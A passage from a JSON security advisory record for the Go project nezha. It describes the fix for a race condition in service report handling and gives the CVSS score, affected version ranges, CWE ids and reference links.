needed.\n\n\n## Fix\n\nFixed in commit `c893aa57867d8a3d608e2f2f16d1594c9766cdf3`, released as `v2.2.11` and `v2.3.0`. The worker now acquires `serviceResponseDataStoreLock` before any report side effect, re-reads the current service and status entries, and re-runs `canReportServiceResult` while the lifecycle lock is held. `Delete` and `Update` therefore serialize with report processing, so reports for deleted services or reports invalidated by an update are discarded before history, status, notification, or TLS side effects.\n\nThe fix also clears ping and TLS caches during deletion and makes `LoadStats` follow the lifecycle lock order, preventing stale cache state and an ABBA deadlock window. Deterministic lifecycle tests cover deletion, update revalidation, lock order, and TLS side effects. The full unit suite, race-and-shuffle suite, `go vet`, CodeQL, and release builds passed before publication.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/nezhahq/nezha"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.0.0-20260628010923-fd31e5f1b0f8"
}, {
"fixed" : "0.0.0-20260721131105-c893aa57867d"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nezhahq/nezha/security/advisories/GHSA-qjpp-gffx-2wm9"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-100394"
}, {
"type" : "WEB",
"url" : "https://github.com/nezhahq/nezha/commit/c893aa57867d8a3d608e2f2f16d1594c9766cdf3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nezhahq/nezha"
}, {
"type" : "WEB",
"url" : "https://github.com/nezhahq/nezha/releases/tag/v2.2.11"
}, {
"type" : "WEB",
"url" : "https://github.com/nezhahq/nezha/releases/tag/v2.3.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-362", "CWE-476" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-15T20:15:06Z",
"nvd_published_at" : "2026-10-14T16:17:28Z"
}
}